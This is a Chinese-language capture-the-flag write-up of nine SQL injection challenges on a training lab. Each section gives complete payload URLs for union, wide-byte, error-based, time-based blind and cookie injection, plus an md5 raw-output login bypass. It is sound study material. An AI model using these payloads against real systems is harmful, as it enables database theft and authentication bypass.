草庐IT

网络安全实验室4.注入关

儒道易行 2023-12-23 原文

4.注入关

1.最简单的SQL注入

url:http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php

查看源代码,登录名为admin

最简单的SQL注入,登录名写入一个常规的注入语句:

admin’ or ‘1’='1

密码随便填,验证码填正确的,点击登录

得到我的座右铭(flag)是iamflagsafsfskdf11223

2.最简单的SQL注入(熟悉注入环境)

url:http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php

查看源代码,访问url:http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1

构造页面并访问?id=1 and 1=1 返回正常?id=1 and 1=2返回出错,说明存在SQL注入

判断字段数 ?id=1 order by 3页面返回正常,说明有三个字段

判断回显点 ?id=-1 union select 1,2,3 我们可以在如图所示位置进行查询

查询数据库名为mydbs ?id=-1 union select 1,2,database()

查询数据表为sae_user_sqli3

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

查询字段名为id,title,content

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=sae_user_sqli3

查询字段内容 ?id=-1 union select 1,2,content from sae_user_sqli3

得到HKGGflagdfs56757fsdv

3.防注入

url:http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php

本关尝试使用宽字节注入,添加单引号会出现空白页,没有报错,使用?id=1%df’

成功报错,找到注入点

构造语句?id=1%df%27%20or%201=1%23

页面正常回显,说明or语句执行成功可以注入!

构造语句?id=1%df%27%20or%201=1%20limit%202,1%23

得到Hsaagdfs56sdf7fsdv

另外一种方法是像上一关一样操作,只是需要构造语句?id=1%df%27 。。。%23

确定字段长度:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df’ order by 3 %23

确定显示位:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df’ union select 1,2,3 %23

得到数据库:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23

得到列名:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23

得到字段:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23

4.到底能不能回显

url:http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1

经过测试,只有start参数有作用,num参数并没有作用。

构造payload:

查询数据库名:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select database()))),1)%23&num=1

查询数据表名:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(table_name)from information_schema.tables where table_schema=database()))),1)%23&num=1

查询列名:(由于分号被过滤了,只能将表名转换成16进制)

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(column_name)from information_schema.columns where table_name=0x75736572))),1)%23&num=1

查询flag:myflagishere

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select password from mydbs.user limit 2,1))),1)%23&num=1

5.邂逅

url:http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg

真的是第一次见图片后缀前面注入,加宽字节注入,因为无回显,所以用burp注入

burp对图片抓包的设置

在上图所示的位置

构造payload:

查询注入点:

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df’.jpg

页面报错

查询列数:4列

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 order by 4 %23.jpg

查询显示位:3

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,3,4%23.jpg

查询数据库:mydbs

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select database()),4 %23.jpg

查询表名:article,pic

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()),4 %23.jpg

查询列名:id,picname,data,text

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name=0x706963),4 %23.jpg

查询数据(flag):

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select picname from pic limit 2,1),4 %23.jpg

将图片后缀改为flagishere_askldjfklasjdfl.jpg ,

访问url:http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg

得到flag is “IamflagIloveyou!”

6.ErrorBased

url :http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin

本题考查mysql的报错注入

查询数据库名:mydbs

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20database())),1)%20–%20q

查询数据表名:log,motto,user

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(table_name) from information_schema.tables where table_schema=database())),1)%20–%20q

查询motto表的下的列名:id,username,motto

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘motto’)),1)%20–%20q

查询id字段的值:0,1,2,100000

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(id) from motto)),1)%20–%20q

查询username字段的值:admin,guest,test,#adf#ad@@#

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(username) from motto)),1)%20–%20q

查询motto字段的值:mymotto,happy everyday,nothing

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(motto) from motto)),1)%20–%20q

对比两次注入的结果,发现username字段比motto字段多一个结果,这说明flag可能就在被隐藏的结果中

再次构造语句,直接查询第四个值,得到notfound! 根据提示flag不带key和#

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20(motto) from motto limit 3,1)),1)%20–%20q

7.盲注

url:http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php

本题使用延时盲注

判断当前数据库名长度为5,页面没有延时,说明数据库长度为5

%27+and%20sleep(if((length(database())=5),0,3))–%20q

判断库名第一个值为m,页面没有延时,说明数据库第一个值为m

’ and if(substr(database(),1,1)=‘m’,0,sleep(3))-- q

以此类推,数据库名为mydbs

判断表名第一个表的第一个值为l,页面没有延时,说明第一个表的第一个值为l

’ and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘l’,0,sleep(3))-- q

以此类推,数据表名为log,motto,user

判断motto表中第一个字段的第一个值是i,页面没有延时,users表中第一个字段的第一个值是i

’ and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘motto’ limit 0,1),1,1)=‘i’,0,sleep(3))-- q

以此类推,数据表motto中的字段值为id,username,motto

判断motto表中第一个内容的第一个值为m,页面没有延时,motto表中第一个内容的第一个值为m

’ and if(substr((select id from motto limit 0,1),1,1)=‘0’,0,sleep(3))-- q

以此类推,得到flag,notfound!

延时注入太慢了,sqlmap跑也比较慢

8.SQL注入通用防护

url:http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1

本题提示过滤了GET/POST,所以我们猜测是否可以进行cookie注入,使用burp抓包

在cookie处构造字段id=1 and 1=1回显正常,id=1 and 1=2回显错误,说明此处存在数字型SQL注入

查询字段数目

id=1 order by 3

最后得到字段数目是3。

查询显示位,得到显示位是2,3

id=1 union select 1,2,3

查询数据库名,得到数据库名为mydbs

id=1 union select 1,2,database()

查询表名,得到在当前数据库中的表有sae_manager_sqli8,sae_user,sqli8

id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())

查询sae_manage_sqli8表中的字段,得到了id,username,password这3个字段

id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘sae_manager_sqli8’)

查询flag,IamFlagCookieInject!

id=1 union select 1,2,password from sae_manager_sqli8

9.据说哈希后的密码是不能产生注入的

url:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/

查看关键源

"select * from 'user' where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'"

对传入的userid使用了intval()函数转化为数字,同时将password使用md5()函数进行转化。这就是一个典型的MD5加密后的SQL注入。

其中最主要的就是md5()函数,当第二个参数为true时,会返回16字符的二进制格式。当为false的时候,返回的就是32字符十六进制数。默认的是false模式。具体的差别通过下面这个代码来看。

md5(‘123’) //202cb962ac59075b964b07152d234b70

md5(‘123’,true) // ,�b�Y[�K-#Kp

只要md5(str,true)之后的值是包含了’or’这样的字符串,那么sql语句就会变为select * from users where usrid=“XXX” and password=‘‘or’’。如此就可以绕过了。

提供一个字符:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c

可以伪造成

select * from user where userid=‘1’ and pwd = '‘or’6É]™é!r,ùíb’

从而成功绕过,得到Flag: FsdLAG67a6dajsdklsdf

payload:

http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

有关网络安全实验室4.注入关的更多相关文章

  1. ruby - 如何使用 Ruby aws/s3 Gem 生成安全 URL 以从 s3 下载文件 - 2

    我正在编写一个小脚本来定位aws存储桶中的特定文件,并创建一个临时验证的url以发送给同事。(理想情况下,这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针,它似乎不符合这个标准,但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A

  2. ruby - 用 Ruby 编写一个简单的网络服务器 - 2

    我想在Ruby中创建一个用于开发目的的极其简单的Web服务器(不,不想使用现成的解决方案)。代码如下:#!/usr/bin/rubyrequire'socket'server=TCPServer.new('127.0.0.1',8080)whileconnection=server.acceptheaders=[]length=0whileline=connection.getsheaders想法是从命令行运行这个脚本,提供另一个脚本,它将在其标准输入上获取请求,并在其标准输出上返回完整的响应。到目前为止一切顺利,但事实证明这真的很脆弱,因为它在第二个请求上中断并出现错误:/usr/b

  3. ruby - 如何安全地删除文件? - 2

    在Ruby中是否有Gem或安全删除文件的方法?我想避免系统上可能不存在的外部程序。“安全删除”指的是覆盖文件内容。 最佳答案 如果您使用的是*nix,一个很好的方法是使用exec/open3/open4调用shred:`shred-fxuz#{filename}`http://www.gnu.org/s/coreutils/manual/html_node/shred-invocation.html检查这个类似的帖子:Writingafileshredderinpythonorruby?

  4. 网络编程套接字 - 2

    网络编程套接字网络编程基础知识理解源`IP`地址和目的`IP`地址理解源MAC地址和目的MAC地址认识端口号理解端口号和进程ID理解源端口号和目的端口号认识`TCP`协议认识`UDP`协议网络字节序socket编程接口`sockaddr``UDP`网络程序服务器端代码逻辑:需要用到的接口服务器端代码`udp`客户端代码逻辑`udp`客户端代码`TCP`网络程序服务器代码逻辑多个版本服务器单进程版本多进程版本多线程版本线程池版本服务器端代码客户端代码逻辑客户端代码TCP协议通讯流程TCP协议的客户端/服务器程序流程三次握手(建立连接)数据传输四次挥手(断开连接)TCP和UDP对比网络编程基础知识

  5. ruby - 用 YAML.load 解析 json 安全吗? - 2

    我正在使用ruby2.1.0我有一个json文件。例如:test.json{"item":[{"apple":1},{"banana":2}]}用YAML.load加载这个文件安全吗?YAML.load(File.read('test.json'))我正在尝试加载一个json或yaml格式的文件。 最佳答案 YAML可以加载JSONYAML.load('{"something":"test","other":4}')=>{"something"=>"test","other"=>4}JSON将无法加载YAML。JSON.load("

  6. ruby-on-rails - 安全地显示使用回形针 gem 上传的图像 - 2

    默认情况下:回形针gem将所有附件存储在公共(public)目录中。出于安全原因,我不想将附件存储在公共(public)目录中,所以我将它们保存在应用程序根目录的uploads目录中:classPost我没有指定url选项,因为我不希望每个图像附件都有一个url。如果指定了url:那么拥有该url的任何人都可以访问该图像。这是不安全的。在user#show页面中:我想实际显示图像。如果我使用所有回形针默认设置,那么我可以这样做,因为图像将在公共(public)目录中并且图像将具有一个url:Someimage:看来,如果我将图像附件保存在公共(public)目录之外并且不指定url(同

  7. ruby - 检查网络文件是否存在,而不下载它? - 2

    是否可以在不实际下载文件的情况下检查文件是否存在?我有这么大的(~40mb)文件,例如:http://mirrors.sohu.com/mysql/MySQL-6.0/MySQL-6.0.11-0.glibc23.src.rpm这与ruby​​不严格相关,但如果发件人可以设置内容长度就好了。RestClient.get"http://mirrors.sohu.com/mysql/MySQL-6.0/MySQL-6.0.11-0.glibc23.src.rpm",headers:{"Content-Length"=>100} 最佳答案

  8. ruby - 404 未找到,但可以从网络浏览器正常访问 - 2

    我在这方面尝试了很多URL,在我遇到这个特定的之前,它们似乎都很好:require'rubygems'require'nokogiri'require'open-uri'doc=Nokogiri::HTML(open("http://www.moxyst.com/fashion/men-clothing/underwear.html"))putsdoc这是结果:/Users/macbookair/.rvm/rubies/ruby-2.0.0-p481/lib/ruby/2.0.0/open-uri.rb:353:in`open_http':404NotFound(OpenURI::HT

  9. ruby - 使写入文件线程安全 - 2

    我在一个ruby​​文件中有一个函数可以像这样写入一个文件File.open("myfile",'a'){|f|f.puts("#{sometext}")}这个函数在不同的线程中被调用,使得像上面这样的文件写入不是线程安全的。有谁知道如何以最简单的方式使这个文件写入线程安全?更多信息:如果重要的话,我正在使用rspec框架。 最佳答案 您可以通过File#flock给锁File.open("myfile",'a'){|f|f.flock(File::LOCK_EX)f.puts("#{sometext}")}

  10. 深度学习12. CNN经典网络 VGG16 - 2

    深度学习12.CNN经典网络VGG16一、简介1.VGG来源2.VGG分类3.不同模型的参数数量4.3x3卷积核的好处5.关于学习率调度6.批归一化二、VGG16层分析1.层划分2.参数展开过程图解3.参数传递示例4.VGG16各层参数数量三、代码分析1.VGG16模型定义2.训练3.测试一、简介1.VGG来源VGG(VisualGeometryGroup)是一个视觉几何组在2014年提出的深度卷积神经网络架构。VGG在2014年ImageNet图像分类竞赛亚军,定位竞赛冠军;VGG网络采用连续的小卷积核(3x3)和池化层构建深度神经网络,网络深度可以达到16层或19层,其中VGG16和VGG

随机推荐